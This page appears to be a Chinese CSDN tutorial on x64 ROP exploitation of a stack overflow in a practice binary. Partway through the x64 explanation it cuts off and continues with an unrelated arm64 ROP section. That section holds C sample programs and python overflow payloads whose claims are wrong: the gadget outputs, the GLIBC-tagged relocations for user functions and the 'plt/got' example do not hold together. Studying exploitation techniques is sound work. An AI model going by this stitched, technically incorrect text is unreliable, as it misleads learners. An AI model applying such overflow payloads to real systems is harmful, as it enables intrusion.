X64之ROP

本文详细介绍了X64架构下利用栈溢出漏洞构造ROP链以获取shell的过程。通过分析程序,找到栈溢出点,然后利用gadget(如pop rdi ; ret)设置参数,通过相对偏移计算获取system和/bin/sh的地址,最终实现getshell。文章强调了X64与X86在传参规则上的区别,并展示了构造payload的脚本步骤。
摘要由CSDN通过智能技术生成
   实验步骤:
  1. 首先拿到文件先看看有没有什么栈保护在这里插入图片描述
    因为在生成文件的时候我们就已经关掉了地址随机化,所以这里并没有什么栈保护

  2. 将文件拖入IDA中进行反编译,然后静态分析

在这里插入图片描述
这里有先写入hello world ,然后又进入了vulnerable_function函数,我们进入函数看看
在这里插入图片描述

我们发现用到了read函数,这里用到的是rbp定位,而它读了200个,实际rbp到ret只有(80+8)h的空间,很显然存在栈溢出漏洞,那我们下面要做的和以往一样,泄露system和bin_sh地址,然后通过ROP链getshell

  1. x64与x86的区别 因为64位程序的传参规则变了,所以我们的rop也要进行相应变动。
    在原来的32位程序中我们会直接将目标函数的入口地址和相应的参数放在payload中,最后进行rop时,参数是根据与ebp的相对位置来进行确定的。
    而在64位程序中,我们不仅要将目标函数的入口地址和相应参数放在payload中,同时
由于 arm64 架构与 x86 架构不同,因此 ROP 实现的方法也有所不同。以下是一些常见的 arm64 ROP 实现方式的示例代码。 1. 堆栈溢出 堆栈溢出是一种常见的 ROP 实现方式。以下是一个 arm64 程序的示例代码,通过堆栈溢出实现 ROP。 ``` #include <stdio.h> #include <string.h> void gadget1() { __asm__("stp x29, x30, [sp, #-16]!"); __asm__("mov x0, #0"); __asm__("bl puts"); __asm__("ldp x29, x30, [sp], #16"); __asm__("ret"); } void gadget2() { __asm__("stp x29, x30, [sp, #-16]!"); __asm__("mov x0, #1"); __asm__("bl puts"); __asm__("ldp x29, x30, [sp], #16"); __asm__("ret"); } int main(int argc, char **argv) { char buf[8]; strcpy(buf, argv[1]); printf("Hello, %s!\n", buf); return 0; } ``` 在这个程序中,有两个 gadget 函数。第一个 gadget 函数会打印出 "Hello, world!",第二个 gadget 函数会打印出 "Hello, arm64!"。我们可以通过堆栈溢出来实现 ROP,比如: ``` $ ./rop $(python -c 'print "A" * 8 + "\x00\x00\x0c\x54\x00\x00\x0c\xd4"') ``` 其中,"\x00\x00\x0c\x54" 是 gadget1 函数的地址,"\x00\x00\x0c\xd4" 是 gadget2 函数的地址。因此,当程序执行到溢出的位置时,会先调用 gadget1 函数,然后返回到溢出的位置,接着调用 gadget2 函数。 2. plt/got 法 另一种常见的 ROP 实现方式是使用 plt/got 法。以下是一个 arm64 程序的示例代码,通过 plt/got 法实现 ROP。 ``` #include <stdio.h> #include <string.h> void foo() { printf("Hello, world!\n"); } void bar() { printf("Hello, arm64!\n"); } int main(int argc, char **argv) { char buf[8]; strcpy(buf, argv[1]); void (*fnptr)(); fnptr = foo; fnptr(); fnptr = bar; fnptr(); return 0; } ``` 在这个程序中,有两个函数:foo 和 bar。我们可以通过 plt/got 法来实现 ROP,比如: ``` $ readelf -r ./rop Relocation section '.rela.dyn' at offset 0x2a8 contains 2 entries: Offset Info Type Sym. Value Sym. Name + Addend 0000000000201018 000100000007 R_AARCH64_JUMP_SLOT 0000000000400400 foo@GLIBC_2.17 + 0 0000000000201020 000200000007 R_AARCH64_JUMP_SLOT 0000000000400410 bar@GLIBC_2.17 + 0 $ ./rop $(python -c 'print "A" * 8 + "\x18\x10\x01\x20" + "\x20\x10\x01\x20"') ``` 其中,"\x18\x10\x01\x20" 是 foo 函数在 .got.plt 中的地址,"\x20\x10\x01\x20" 是 bar 函数在 .got.plt 中的地址。因此,当程序执行到溢出的位置时,会先跳转到 foo 函数,然后返回到溢出的位置,接着跳转到 bar 函数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值